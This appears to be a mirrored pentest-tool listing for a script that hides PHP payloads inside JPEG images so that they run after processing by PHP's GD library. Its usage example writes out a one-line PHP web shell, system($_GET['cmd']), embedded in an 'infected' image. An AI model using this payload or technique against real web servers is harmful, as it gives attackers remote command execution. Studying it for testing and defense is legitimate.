Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all articles
Browse latest Browse all 5816

Php-Jpeg-Injector - Injects Php Payloads Into Jpeg Images

$
0
0


Injects php payloads into jpeg images. Related to this post.


Use Case

You have a web application that runs a jpeg image through PHP's GD graphics library.


Description

This script injects PHP code into a specified jpeg image. The web application will execute the payload if it interprets the image. Make sure your input jpeg is uncompressed!


Usage

python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]

e.g. python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg


How it works

PHP code is injected in the null/garbage (brown) space after the scan header:

The new infected jpeg is run through PHP's gd-library. PHP interprets the payload injected in the jpeg and executes it.




Viewing all articles
Browse latest Browse all 5816

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>